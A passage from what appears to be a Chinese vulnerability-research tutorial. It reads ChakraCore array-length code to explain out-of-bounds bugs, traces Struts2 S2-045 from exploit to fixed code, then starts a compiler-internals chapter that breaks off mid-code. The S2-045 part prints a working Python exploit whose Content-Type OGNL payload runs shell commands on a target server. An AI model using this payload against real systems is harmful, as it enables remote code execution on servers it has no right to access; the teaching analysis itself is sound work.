JavascriptArray.cpp (lib\runtime\library): JS_REENTRANT_UNLOCK(jsReentLock, return JavascriptArray::ReverseHelper(pArr, nullptr, obj, length.GetBigIndex(), scriptContext));
JavascriptArray.cpp (lib\runtime\library): Var JavascriptArray::ReverseHelper(JavascriptArray* pArr, Js::TypedArrayBase* typedArrayBase, RecyclableObject* obj, T length, ScriptContext* scriptContext)
JavascriptArray.h (lib\runtime\library): static Var ReverseHelper(JavascriptArray* pArr, Js::TypedArrayBase* typedArrayBase, RecyclableObject* obj, T length, ScriptContext* scriptContext);
TypedArray.cpp (lib\runtime\library): return JavascriptArray::ReverseHelper(nullptr, typedArrayBase, typedArrayBase, typedArrayBase->GetLength(), scriptContext);
```
我们搜素当前的源码文件的那两个引用.最后定位到`JavascriptArray::EntryReverse()`
```c++
Var JavascriptArray::EntryReverse(RecyclableObject* function, CallInfo callInfo, ...) // 在Chakra 中,内部对象处理函数都长这样
/*
注意:Chakra 的内部函数调用原理是这样的:callInfo 传递给函数调用的参数列表.里面包含了当前对象和函数参数对象列表,callInfo[0] 是当前对象,callInfo[1] 往后就是函数参数列表
*/
{
PROBE_STACK(function->GetScriptContext(), Js::Constants::MinStackDefault);
ARGUMENTS(args, callInfo); // 格式化callInfo 成args
ScriptContext* scriptContext = function->GetScriptContext();
JS_REENTRANCY_LOCK(jsReentLock, scriptContext->GetThreadContext());
Assert(!(callInfo.Flags & CallFlags_New));
if (args.Info.Count == 0) // 无法获取当前的Array 对象
{
JavascriptError::ThrowTypeError(scriptContext, JSERR_This_NullOrUndefined, _u("Array.prototype.reverse"));
}
BigIndex length = 0u; // 注意,这个就是传递到ReverseHelper() 的length
JavascriptArray* pArr = nullptr;
RecyclableObject* obj = nullptr;
JS_REENTRANT(jsReentLock, TryGetArrayAndLength(args[0], scriptContext, _u("Array.prototype.reverse"), &pArr, &obj, &length)); // 从当前的Array 对象中获取信息,其中包含了数组长度,Array 指针
if (length.IsSmallIndex())
{
JS_REENTRANT_UNLOCK(jsReentLock, return JavascriptArray::ReverseHelper(pArr, nullptr, obj, length.GetSmallIndex(), scriptContext)); // 调用ReverseHelper
}
Assert(pArr == nullptr || length.IsUint32Max()); // if pArr is not null lets make sure length is safe to cast, which will only happen if length is a uint32max
JS_REENTRANT_UNLOCK(jsReentLock, return JavascriptArray::ReverseHelper(pArr, nullptr, obj, length.GetBigIndex(), scriptContext)); // 调用ReverseHelper
}
```
再来看看`TryGetArrayAndLength()` 做了些什么
```c++
template<typename T>
void JavascriptArray::TryGetArrayAndLength(Var arg,
ScriptContext *scriptContext,
PCWSTR methodName,
__out JavascriptArray** array,
__out RecyclableObject** obj,
__out T * length)
{
Assert(array != nullptr);
Assert(obj != nullptr);
Assert(length != nullptr);
*array = JavascriptOperators::TryFromVar<JavascriptArray>(arg);
if (*array && !(*array)->IsCrossSiteObject()) // 判断Array 是否为跨站对象
{
#if ENABLE_COPYONACCESS_ARRAY
JavascriptLibrary::CheckAndConvertCopyOnAccessNativeIntArray<Var>(*array);
#endif
*obj = *array;
*length = (*array)->length; // 返回的长度为真实的数组长度
}
else
{
if (!JavascriptConversion::ToObject(arg, scriptContext, obj))
{
JavascriptError::ThrowTypeError(scriptContext, JSERR_This_NullOrUndefined, methodName);
}
*length = OP_GetLength(*obj, scriptContext); // 返回的长度为JavaScript 属性length 设置的值
*array = nullptr;
}
}
```
`IsCrossSiteObject()` 到底做了什么工作呢?读者可以自行搜素代码来阅读.

相信读者开始有一个疑问,`*length = (*array)->length;` 和`*length = OP_GetLength(*obj, scriptContext);` 到底有什么不同呢?**理解它们两个差异,就可以理解JavaScript 关于数组越界的漏洞的成因**.让我们再深入去了解它们背后的故事.
```c++
class ArrayObject : public DynamicObject // lib/runtime/types/ArrayObject.h:18
{
protected:
Field(uint32) length;
class JavascriptArray : public ArrayObject // lib/runtime/library/JavascriptArray.h:94
{
```
JavascriptArray 是继承ArrayObject 的,我们来看看JavascriptArray 的构造函数
```c++
JavascriptArray::JavascriptArray(uint32 length, DynamicType * type)
: ArrayObject(type, false, length)
{
Assert(JavascriptArray::Is(type->GetTypeId()));
Assert(EmptySegment->length == 0 && EmptySegment->size == 0 && EmptySegment->next == NULL);
InitArrayFlags(DynamicObjectFlags::InitialArrayValue);
SetHeadAndLastUsedSegment(const_cast<SparseArraySegmentBase *>(EmptySegment));
}
```
由此可知,JavascriptArray 初始化长度length 最后传递给ArrayObject 的构造函数.
```c++
ArrayObject(DynamicType * type, bool initSlots = true, uint32 length = 0)
: DynamicObject(type, initSlots), length(length)
{
```
弄明白了`JavascriptArray->length` 之后,再来理解`OP_GetLength` .前面说过,Op_GetLength 是JavaScript 属性length 设置的值.现在我们来分析一下代码
```c++
uint64 JavascriptArray::OP_GetLength(Var obj, ScriptContext *scriptContext) // lib/runtime/library/JavascriptArray.cpp:3025
{
if (scriptContext->GetConfig()->IsES6ToLengthEnabled())
{
// Casting to uint64 is okay as ToLength will always be >= 0.
return (uint64)JavascriptConversion::ToLength(JavascriptOperators::OP_GetLength(obj, scriptContext), scriptContext);
}
else
{
return (uint64)JavascriptConversion::ToUInt32(JavascriptOperators::OP_GetLength(obj, scriptContext), scriptContext);
}
}
```
这段代码里面有两个OP_GetLength ,分别是`JavascriptArray::OP_GetLength` 和`JavascriptOperators::OP_GetLength` ,他们需要的函数参数都是`Var obj` 和`ScriptContext *scriptContext` ,参数obj 的意思是当前对象,参数scriptContext 的意思是JavaScript 执行环境上下文.再去阅读`JavascriptOperators::OP_GetLength()`
```c++
Var JavascriptOperators::OP_GetLength(Var instance, ScriptContext* scriptContext)
{
return JavascriptOperators::OP_GetProperty(instance, PropertyIds::length, scriptContext);
}
```
看到这里读者们应该理解了,OP_GetLength 就是读取对象属性length 的值,再看看`JavascriptOperators::OP_GetProperty()` 的代码
```c++
Var JavascriptOperators::OP_GetProperty(Var instance, PropertyId propertyId, ScriptContext* scriptContext)
{
RecyclableObject* object = nullptr;
if (FALSE == JavascriptOperators::GetPropertyObject(instance, scriptContext, &object)) // 找不到对象的属性
{
if (scriptContext->GetThreadContext()->RecordImplicitException())
{
JavascriptError::ThrowTypeError(scriptContext, JSERR_Property_CannotGet_NullOrUndefined, scriptContext->GetPropertyName(propertyId)->GetBuffer());
}
else
{
return scriptContext->GetLibrary()->GetUndefined(); // 返回undefined 的值
}
}
Var result = JavascriptOperators::GetPropertyNoCache(instance, object, propertyId, scriptContext); // 拿到对象属性的值
AssertMsg(result != nullptr, "result null in OP_GetProperty");
return result;
}
```
聪明的你应该开始举一反三了,右键JavascriptOperators::OP_GetLength 搜素引用,开开心心挖漏洞.下面截个搜素引用结果的图

挑一些引用到Length 引用的地方,大部分JavaScript 执行引擎的OOB 漏洞都是因为长度可以被控制产生的问题



## 结合PoC 和源码来理解这类漏洞的原理
前面说了很多二进制(主要是C/C++ )的例子,现在来一个JAVA 库Struts2 的分析.以S2-045 为例子,从PoC 到触发漏洞的原理再深入理解WEB 类漏洞是怎么来挖的.我去百度了一个S2-045 的EXP .
```python
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
def poc():
register_openers()
datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")}) # 构造Post 数据包
header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" # 在Content-Type 中插入OGNL 利用代码
request = urllib2.Request(str(sys.argv[1]),datagen,headers=header) # 发送EXP
response = urllib2.urlopen(request)
print response.read()
poc()
```
从PoC 里我们得知,恶意代码是从`Content-Type` 里面传递到漏洞点执行的.翻了翻Issus ,找到当时修复的Diff ,Link:https://github.com/apache/struts/commit/b06dd50af2a3319dd896bf5c2f4972d2b772cf2b


是不是觉得很神奇,是下面这句代码引发的血案
```java
for (LocalizedMessage error : multiWrapper.getErrors()) {
if (validation != null) {
validation.addActionError(LocalizedTextUtil.findText(error.getClazz(), error.getTextKey(), ActionContext.getContext().getLocale(), error.getDefaultMessage(), error.getArgs()));
```
无论是WEB 还是二进制漏洞,本质上都是找到一个可以做到远程代码执行的地方.二进制里大多数的远程代码执行漏洞都是由于内存操作不当而引起的(想了解更多关于二进制因内存操作不当导致的远程代码执行的知识,请到这里了解更多:https://github.com/lcatro/vuln_javascript ),但是不排除有因为函数调用没有正确过滤而导致的代码执行问题(参考CVE-2018-1000006 ,Commit:https://github.com/electron/electron/commit/c49cb29ddf3368daf279bd60c007f9c015bc834c );WEB 里的漏洞基本上都是因为调用敏感函数的问题导致的安全问题,比如:system() 远程命令执行,eval() 一句话木马,mysql_query() 数据库注入和现在要介绍的OGNL 执行函数.**如果没有对输入做校验和字符过滤,很有可能会让用户的输入流到敏感函数,导致远程代码执行,服务器被Getshell**.
现在回来看看上面的代码,到底哪儿出现了问题呢?我们先来阅读`LocalizedTextUtil.findText()` 的源码.在`core/src/main/java/com/opensymphony/xwork2/util/AbstractLocalizedTextProvider.java:194` 行
```java
/**
* <p>
* Finds a localized text message for the given key, aTextName, in the specified resource
* bundle.
* </p>
*
* <p>
* If a message is found, it will also be interpolated. Anything within <code>${...}</code>
* will be treated as an OGNL expression and evaluated as such.
* </p>
*
* <p>
* If a message is <b>not</b> found a WARN log will be logged.
* </p>
*
* @param bundle the bundle
* @param aTextName the key
* @param locale the locale
* @param defaultMessage the default message to use if no message was found in the bundle
* @param args arguments for the message formatter.
* @param valueStack the OGNL value stack.
* @return the localized text, or null if none can be found and no defaultMessage is provided
*/
@Override
public String findText(ResourceBundle bundle, String aTextName, Locale locale, String defaultMessage, Object[] args,
ValueStack valueStack) {
try {
reloadBundles(valueStack.getContext());
String message = TextParseUtil.translateVariables(bundle.getString(aTextName), valueStack);
MessageFormat mf = buildMessageFormat(message, locale);
return formatWithNullDetection(mf, args);
} catch (MissingResourceException ex) {
if (devMode) {
LOG.warn("Missing key [{}] in bundle [{}]!", aTextName, bundle);
} else {
LOG.debug("Missing key [{}] in bundle [{}]!", aTextName, bundle);
}
}
GetDefaultMessageReturnArg result = getDefaultMessage(aTextName, locale, valueStack, args, defaultMessage);
if (unableToFindTextForKey(result)) {
LOG.warn("Unable to find text for key '{}' in ResourceBundles for locale '{}'", aTextName, locale);
}
return result != null ? result.message : null;
}
```
看到这里是不是懵逼了.我们一个个函数点进去看看,究竟都有些什么东西,但是限于篇幅,我就不全部把代码贴上来了,现在只放出一个关键函数的代码
```java
/**
* @return the default message.
*/
protected GetDefaultMessageReturnArg getDefaultMessage(String key, Locale locale, ValueStack valueStack, Object[] args,
String defaultMessage) {
GetDefaultMessageReturnArg result = null;
boolean found = true;
if (key != null) {
String message = findDefaultText(key, locale);
if (message == null) {
message = defaultMessage;
found = false; // not found in bundles
}
// defaultMessage may be null
if (message != null) {
MessageFormat mf = buildMessageFormat(TextParseUtil.translateVariables(message, valueStack), locale);
String msg = formatWithNullDetection(mf, args);
result = new GetDefaultMessageReturnArg(msg, found);
}
}
return result;
}
```
还是使用上面的方式,一个个函数点进去看看,我们无需要对每个细节都要完全理解,但是要知道做了些什么,读者们可以通过函数名或者函数的逻辑来推断出来到底发生了什么事.继续往下探索,找到`translateVariables()` 的声明.
```java
/**
* Converts all instances of ${...}, and %{...} in <code>expression</code> to the value returned
* by a call to {@link ValueStack#findValue(java.lang.String)}. If an item cannot
* be found on the stack (null is returned), then the entire variable ${...} is not
* displayed, just as if the item was on the stack but returned an empty string.
*
* @param expression an expression that hasn't yet been translated
* @param stack value stack
* @return the parsed expression
*/
public static String translateVariables(String expression, ValueStack stack) {
return translateVariables(new char[]{'$', '%'}, expression, stack, String.class, null).toString();
}
```
??? ,这个函数居然是执行OGNL 表达式的.我们再一路往下找.
```java
// 经过多个重载之后..
/**
* Converted object from variable translation.
*
* @param openChars open character array
* @param expression expression string
* @param stack value stack
* @param asType as class type
* @param evaluator value evaluator
* @param maxLoopCount max loop count
* @return Converted object from variable translation.
*/
public static Object translateVariables(char[] openChars, String expression, final ValueStack stack, final Class asType, final ParsedValueEvaluator evaluator, int maxLoopCount) {
ParsedValueEvaluator ognlEval = new ParsedValueEvaluator() {
public Object evaluate(String parsedValue) {
Object o = stack.findValue(parsedValue, asType);
if (evaluator != null && o != null) {
o = evaluator.evaluate(o.toString());
}
return o;
}
};
TextParser parser = ((Container)stack.getContext().get(ActionContext.CONTAINER)).getInstance(TextParser.class);
return parser.evaluate(openChars, expression, ognlEval, maxLoopCount); // 执行OGNL 表达式
}
```
现在可以确定,`TextParseUtil.translateVariables()` 可以执行OGNL 表达式.参数1 是OGNL 表达式字符串,参数2 是值栈.知道这点之后,回来阅读这里的代码
```java
protected GetDefaultMessageReturnArg getDefaultMessage(String key, Locale locale, ValueStack valueStack, Object[] args,
String defaultMessage) {
GetDefaultMessageReturnArg result = null;
boolean found = true;
if (key != null) {
String message = findDefaultText(key, locale);
if (message == null) {
message = defaultMessage;
found = false; // not found in bundles
}
// defaultMessage may be null
if (message != null) {
MessageFormat mf = buildMessageFormat(TextParseUtil.translateVariables(message, valueStack), locale);
```
也就是说,getDefaultMessage() 函数的defaultMessage 参数是可以执行OGNL 表达式的,而且defaultMessage 是由findText() 传递过来的.咱们还是去查查Strust2 的官方文档一探究竟.Link :https://struts.apache.org/maven/struts2-core/apidocs/index.html

官方文档竟然没有关于参数的介绍,那没关系,我们去找`LocalizedTextUtil.findText()`

??? .兄弟,这是几个意思?看来你这样要为难我小叮当啊.然后在谷歌百度胡乱搜了一下,结果找到了.

好了,LocalizedTextUtil.findText() 的defaultMessage 参数既然可以执行OGNL 语句,那么我们再来看看Diff 的代码
```java
for (LocalizedMessage error : multiWrapper.getErrors()) {
if (validation != null) {
validation.addActionError(LocalizedTextUtil.findText(error.getClazz(), error.getTextKey(), ActionContext.getContext().getLocale(), error.getDefaultMessage(), error.getArgs()));
```
居然是把一个错误提示信息拿来做参数,来看看LocalizedMessage 和multiWrapper.getErrors() 是什么
```java
HttpServletRequest request = (HttpServletRequest) ac.get(ServletActionContext.HTTP_REQUEST);
if (!(request instanceof MultiPartRequestWrapper)) { // 如果request 不是MultiPartRequestWrapper 的示例,那就继续往下执行
if (LOG.isDebugEnabled()) {
ActionProxy proxy = invocation.getProxy();
LOG.debug(getTextMessage("struts.messages.bypass.request", new String[]{proxy.getNamespace(), proxy.getActionName()}));
}
return invocation.invoke(); // 执行下一个invocation
}
// ...
MultiPartRequestWrapper multiWrapper = (MultiPartRequestWrapper) request; // 获取Post Data 部分
if (multiWrapper.hasErrors() && validation != null) {
TextProvider textProvider = getTextProvider(action);
for (LocalizedMessage error : multiWrapper.getErrors()) {
```
看到这里,可能读者们开始迷惑了,当时我也一样,看到这个代码结果确实有些头晕,不知道自己看的代码究竟在哪一部分,这个时候,我们就应该去找一找架构图

看完了架构图之后,估计读者会分化为两部分了:瞬间明白整体原理和越看越懵逼的,我当时看这个架构图的时候就是属于越看越懵逼的那种哈哈哈.Struts2 是AOP (面向切面编程,意思是数据一层一层往上来处理,RASP 就是这个原理)模型.每个Interceptor 都对应不同的功能.触发漏洞的地方是在FileUploadInterceptor ,FileUploadInterceptor 是需要MultiPartRequestWrapper (对应MultiPartRequest)处理过的请求头,那么我们去找一下Struts2 关于MultiPartRequest 的请求,看看是在哪个Interceptor 里面处理的.现在我们看看Struts2 的Interceptor 的默认配置文件.代码位置`core/src/main/resources/struts-default.xml` ,Link : https://github.com/apache/struts/blob/a4439376b806fa73f96f469315d51ad83591b796/core/src/main/resources/struts-default.xml
```xml
<bean type="org.apache.struts2.dispatcher.multipart.MultiPartRequest" name="jakarta" class="org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest" scope="prototype"/>
<bean type="org.apache.struts2.dispatcher.multipart.MultiPartRequest" name="jakarta-stream" class="org.apache.struts2.dispatcher.multipart.JakartaStreamMultiPartRequest" scope="prototype"/>
```
原来MultiPartRequest 使用JakartaMultiPartRequest 和JakartaStreamMultiPartRequest 来做处理.那么现在看看MultiPartRequestWrapper 类的构造函数,Link :https://github.com/apache/struts/blob/6e96f11debc4fa52c65a12b28fea82b514b96abd/core/src/main/java/org/apache/struts2/dispatcher/multipart/MultiPartRequestWrapper.java
```java
/**
* Process file downloads and log any errors.
*
* @param multiPartRequest Our MultiPartRequest object
* @param request Our HttpServletRequest object
* @param saveDir Target directory for any files that we save
* @param provider locale provider
* @param disableRequestAttributeValueStackLookup disable the request attribute value stack lookup
*/
public MultiPartRequestWrapper(MultiPartRequest multiPartRequest, HttpServletRequest request,
String saveDir, LocaleProvider provider,
boolean disableRequestAttributeValueStackLookup) {
super(request, disableRequestAttributeValueStackLookup);
errors = new ArrayList<>();
multi = multiPartRequest; // multi 是初始化MultiPartRequestWrapper 传递进来的MultiPartRequest
defaultLocale = provider.getLocale();
setLocale(request);
try {
multi.parse(request, saveDir); // 注意,解析request 请求头数据
for (LocalizedMessage error : multi.getErrors()) {
addError(error);
}
} catch (IOException e) {
LOG.warn(e.getMessage(), e);
addError(buildErrorMessage(e, new Object[] {e.getMessage()}));
}
}
```
我们来看看Struts2 的文件上传部分.Link :https://github.com/apache/struts/blob/6e96f11debc4fa52c65a12b28fea82b514b96abd/core/src/main/java/org/apache/struts2/dispatcher/filter/StrutsPrepareAndExecuteFilter.java
```java
public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) req;
HttpServletResponse response = (HttpServletResponse) res;
try {
String uri = RequestUtils.getUri(request);
if (excludedPatterns != null && prepare.isUrlExcluded(request, excludedPatterns)) {
LOG.trace("Request {} is excluded from handling by Struts, passing request to other filters", uri);
chain.doFilter(request, response);
} else {
LOG.trace("Checking if {} is a static resource", uri);
boolean handled = execute.executeStaticResourceRequest(request, response);
if (!handled) {
LOG.trace("Assuming uri {} as a normal action", uri);
prepare.setEncodingAndLocale(request, response);
prepare.createActionContext(request, response);
prepare.assignDispatcherToThread();
request = prepare.wrapRequest(request); // 解析请求头
ActionMapping mapping = prepare.findActionMapping(request, response, true);
if (mapping == null) {
LOG.trace("Cannot find mapping for {}, passing to other filters", uri);
chain.doFilter(request, response);
} else {
LOG.trace("Found mapping {} for {}", mapping, uri);
execute.executeAction(request, response, mapping);
}
}
}
} finally {
prepare.cleanupRequest(request);
}
}
public HttpServletRequest wrapRequest(HttpServletRequest oldRequest) throws ServletException {
HttpServletRequest request = oldRequest;
try {
// Wrap request first, just in case it is multipart/form-data
// parameters might not be accessible through before encoding (ww-1278)
request = dispatcher.wrapRequest(request); // wrapRequest()
ServletActionContext.setRequest(request);
} catch (IOException e) {
throw new ServletException("Could not wrap servlet request with MultipartRequestWrapper!", e);
}
return request;
}
public HttpServletRequest wrapRequest(HttpServletRequest request) throws IOException {
// don't wrap more than once
if (request instanceof StrutsRequestWrapper) {
return request;
}
String content_type = request.getContentType();
if (content_type != null && content_type.contains("multipart/form-data")) { // 根据Content_Type 的内容来判断是否选择MultiPartRequestWrapper
MultiPartRequest mpr = getMultiPartRequest();
LocaleProvider provider = getContainer().getInstance(LocaleProvider.class);
request = new MultiPartRequestWrapper(mpr, request, getSaveDir(), provider, disableRequestAttributeValueStackLookup);
} else {
request = new StrutsRequestWrapper(request, disableRequestAttributeValueStackLookup);
}
return request;
}
```
搞明白了Content-Type 为什么需要带上multipart/form-data 之后.再回过头来看漏洞描述,这个问题的触发点在JakartaStreamMultiPartRequest 这里.现在去找`JakartaStreamMultiPartRequest.parse()` 函数的实现代码.Link :https://github.com/apache/struts/blob/6e96f11debc4fa52c65a12b28fea82b514b96abd/core/src/main/java/org/apache/struts2/dispatcher/multipart/JakartaMultiPartRequest.java
```java
public void parse(HttpServletRequest request, String saveDir) throws IOException {
try {
setLocale(request);
processUpload(request, saveDir); // 处理上传请求
} catch (Exception e) {
LOG.warn("Error occurred during parsing of multi part request", e);
LocalizedMessage errorMessage = buildErrorMessage(e, new Object[]{}); // 保存错误消息
if (!errors.contains(errorMessage)) {
errors.add(errorMessage);
}
}
}
```
在此就不再往下分析了,最后会触发一个异常,让Content-Type 里面的值保存到errors 对象中
```java
public abstract class AbstractMultiPartRequest implements MultiPartRequest {
protected List<LocalizedMessage> errors = new ArrayList<>();
public List<LocalizedMessage> getErrors() { // 获取errors 的信息..
return errors;
}
```
最后,我们回来看看patch 的代码
```java
for (LocalizedMessage error : multiWrapper.getErrors()) {
if (validation != null) {
validation.addActionError(LocalizedTextUtil.findText(error.getClazz(), error.getTextKey(), ActionContext.getContext().getLocale(), error.getDefaultMessage(), error.getArgs()));
```
此时,由于Content-Type 的值导致Struts2 的JakartaStreamMultiPartRequest 解析异常,异常信息保存在`multiWrapper.getErrors()` 里,`LocalizedMessage error` 里面的还带有Content-Type 的值.这个内容传递到了`LocalizedTextUtil.findText()` ,这个地方是可以执行OGNL 语句的.那么我们在Content-Type 里面插入了OGNL 语句之后,触发异常,让Content-Type 的值保存到异常信息传递给`LocalizedTextUtil.findText()`,`LocalizedTextUtil.findText()` 执行了我们注入的OGNL 语句,引发了远程代码执行.
## 结尾
读代码时比较迷惘,可以尝试换一个地方从新来读;读代码时比较迷惘,可以尝试谷歌百度搜素一下其他人的分析和用法;读代码时比较迷惘,可以尝试看看官方文档;读代码时比较迷惘,可以尝试换个歌单听一听.**切记!不要烦躁**
================================================
FILE: 5.程序编译原理.md
================================================
## 必备工具
clang ,Python
## 二进制编译原理
本节深入理解编译原理的各个部分,旨在于了解程序编译过程中编译器或脚本解析器做了哪些事情和实现细节,如果我们要在编译过程中进行Fuzzing 应该要怎么做.
我们知道,计算机的CPU 通过执行二进制的代码来计算程序的结果.人类编写的各种计算机语言,事实上是人类对语言的约定,我们应该要按照这种办法来编写代码,程序也应该按照人类的规划的方式来执行.这些文本代码经过编译器编译后,会翻译成机器可以执行的二进制代码,期间编译器做的工作包括:语法分析,对代码构建抽象语法树,编译成目标平台的汇编代码,链接生成程序.接下来就用clang 来一步步分析.
clang 是基于LLVM 的编译器,编译时的过程如下:

1. Clang Frontend(Clang 前端)部分主要的工作是对代码进行序列化为抽象语法树再编译成LLVM IR
2. LLVM Optimizer(LLVM 优化器)对LLVM IR 进行优化或者混淆,接下来每个.c /.cpp 文件就会成为.o 文件
3. LLVM Linker 对编译出来的.o 文件进行链接,合并所有.o 的代码并引入这些代码所需要的静态库代码和动态链接库的函数符号
4. 最后根据目的平台的架构进行代码生成,输出二进制文件.
同样的原理深入GCC 的编译过程:
1. GCC 首先调用**cpp** 把.c/.cpp 的宏处理好,生成.i 文件
2. 把预处理过后的.i 文件传递给**cc** 来编译汇编代码到.s 文件
3. 然后GCC 把汇编文件传递给**as** 生成.o 文件
4. 最后通过**ld** 来链接所有的.o 文件输出可执行程序
### AST (抽象语法树)
在编译器前端对文本代码进行解析时,目的就是为了对程序代码生成程序可以处理的树状结构,称之为抽象语法树.下面是一个例子:
```c
#include <stdio.h>
int main(int argc,char** argv) {
int number = 1;
number += 2;
printf("Number=%d\n",number);
return 0;
}
```
我们可以使用Clang 对上面的代码生成AST ,命令如下
```shell
clang -Xclang -ast-dump -fsyntax-only exmaple.c
```
输出的结果较多,在此只取一部分显示结果

在Python 下我们可以使用内置的AST 库来对代码构建抽象语法树
```python
import ast
node = ast.parse('a = 1')
ast.dump(node)
```
在 `ast.dump()` 输出下可以看到JSON 格式的AST 树数据
```txt
>>> ast.dump(node)
"Module(body=[Assign(targets=[Name(id='a', ctx=Store())], value=Num(n=1))])"
```
文本代码经过序列化之后,那么编译器接下来就可以使用抽象语法树作为数据结构来进行编译操作了.除了编译之外,做自动化白盒审计也是用到AST 来对数据流和控制流进行分析,具体细节下一章再详细分析.
### 汇编
到了汇编阶段,Clang 和GCC 的实现会稍微有点不同之处.
对于Clang 来说,汇编阶段是生成LLVM IR 代码,在链接时才针对目标架构进行汇编,我们使用下面这个命令来观察LLVM IR
```shell
clang -S -emit-llvm ./exmaple.c
cat ./exmaple.ll
```
对应输出的LLVM IR 代码如下

对于GCC 来说,汇编阶段已经生成针对目标架构生成了汇编代码,使用这个命令来观察GCC 汇编
```shell
gcc -S ./example.c
cat ./example.s
```

### 链接
在最后链接输出二进制程序阶段,**ld** 把各个.o 文件和需要引用到的静态库引入打包生产二进制文件,二进制编译全过程如下图

## 脚本语言运行原理
脚本语言运行原理和二进制运行原理有很大的不同之处,后者是直接通过CPU 可以执行的二进制代码来运行,脚本则是需要依赖一个程序来解析执行.下面以微软的JavaScript 引擎ChakraCode 作为剖析,先来看看ChakraCode 架构图:

浏览器中执行的JavaScript ,实际上是把JavaScript 代码传递给ChakraCode 来解析执行,ChakraCode 在运行时有一个上下文对象,我们根据这个对象来操作当前JavaScript 的全局对象和局部对象,也通过这个对象来区分不同的浏览器标签的JavaScript 执行空间.首先JavaScript 代码经过**Parser** 解析完成代码之后,编译成Chakra OpCode 代码流传递到**Interpreter** 中执行,也可以编译成二进制代码又**JIT** 执行.JavaScript 中的对象都由GC (**Garbage Collector** 垃圾回收器)处理,负责申请和清除对象所使用的内存空间.如果JavaScript 需要调用到一些底层的接口(比如操作socket),那这些接口的Binding 就在**Lowerer** 中实现.
### Interpreter 脚本解析器
脚本解析器的作用是对OpCode 进行解析执行,意义为实现软件层的CPU ,执行脚本代码.这里以PHP 作为分析,代码位置(https://github.com/php/php-src/blob/623911f993f39ebbe75abe2771fc89faf6b15b9b/Zend/zend_ast.c#L449)
```c
ZEND_API int ZEND_FASTCALL zend_ast_evaluate(zval *result, zend_ast *ast, zend_class_entry *scope)
{
zval op1, op2;
int ret = SUCCESS;
switch (ast->kind) {
case ZEND_AST_BINARY_OP: // 如果当前节点在AST 中为OpCode 类型,那就执行
if (UNEXPECTED(zend_ast_evaluate(&op1, ast->child[0], scope) != SUCCESS)) {
ret = FAILURE;
} else if (UNEXPECTED(zend_ast_evaluate(&op2, ast->child[1], scope) != SUCCESS)) {
zval_ptr_dtor_nogc(&op1);
ret = FAILURE;
} else {
binary_op_type op = get_binary_op(ast->attr); // 根据指令来获取对应的执行回调函数
ret = op(result, &op1, &op2); // 执行指令处理的回调函数
zval_ptr_dtor_nogc(&op1);
zval_ptr_dtor_nogc(&op2);
}
break;
// 省略无关代码
```
再来看get_binary_op() 的函数代码,就是用一个大switch case 来返回回调函数指针(https://github.com/php/php-src/blob/0a6f85dbb3da5671a42c6034ab89db8ef4c6f23d/Zend/zend_opcode.c#L1017)
```c
ZEND_API binary_op_type get_binary_op(int opcode)
{
switch (opcode) {
case ZEND_ADD:
case ZEND_ASSIGN_ADD:
return (binary_op_type) add_function;
case ZEND_SUB:
case ZEND_ASSIGN_SUB:
return (binary_op_type) sub_function;
case ZEND_MUL:
case ZEND_ASSIGN_MUL:
return (binary_op_type) mul_function;
// ...
```
### JIT (Just-in-Time)技术
JIT 的意义是为了加快脚本文件的执行,在编译阶段不编译成OpCode 而是编译成机器代码执行,这样就不需要用Interpreter 来解析OpCode 从而提高更多的性能.谈到JIT 在此要提到一些二进制分析工具,譬如Triton (https://github.com/JonathanSalwan/Triton),unicorn (http://www.unicorn-engine.org).这些工具是把二进制机器码抽象出来,放到专门的解析器中来执行(这样做就可以实现跨平台执行,比如说当前CPU 架构是x64 ,它可以直接x64 和x86 ,但是不可以执行ARM ,这就需要一个模拟器(emulator)来模拟ARM CPU 执行).
### Binding 原理
Binding 的意义为底层写好的接口需要提供到上层来被调用,在解析器部分来说就是绑定内部函数对象到二进制函数代码位置.我们以electron 作为示例来讲解,先来看看渲染进程的ipcRendererInternal 的实现(https://github.com/electron/electron/blob/master/lib/renderer/ipc-renderer-internal.ts)
```typescript
const binding = process.atomBinding('ipc')
const v8Util = process.atomBinding('v8_util')
// Created by init.js.
export const ipcRendererInternal: Electron.IpcRendererInternal = v8Util.getHiddenValue(global, 'ipc-internal')
const internal = true
ipcRendererInternal.send = function (channel, ...args) {
return binding.send(internal, channel, args)
}
ipcRendererInternal.sendSync = function (channel, ...args) {
return binding.sendSync(internal, channel, args)[0]
}
ipcRendererInternal.sendTo = function (webContentsId, channel, ...args) {
return binding.sendTo(internal, false, webContentsId, channel, args)
}
ipcRendererInternal.sendToAll = function (webContentsId, channel, ...args) {
return binding.sendTo(internal, true, webContentsId, channel, args)
}
```
可以看到,bingding 对象是由electron 封装好的ipc 接口,对应的实现代码在atom_api_rendere_ipc.cc(https://github.com/electron/electron/blob/master/atom/renderer/api/atom_api_renderer_ipc.cc)
```c++
// 省略无关代码
void Send(mate::Arguments* args,
bool internal,
const std::string& channel,
const base::ListValue& arguments) {
RenderFrame* render_frame = GetCurrentRenderFrame();
if (render_frame == nullptr)
return;
bool success = render_frame->Send(new AtomFrameHostMsg_Message(
render_frame->GetRoutingID(), internal, channel, arguments));
if (!success)
args->ThrowError("Unable to send AtomFrameHostMsg_Message");
}
// 省略无关代码
void Initialize(v8::Local<v8::Object> exports,
v8::Local<v8::Value> unused,
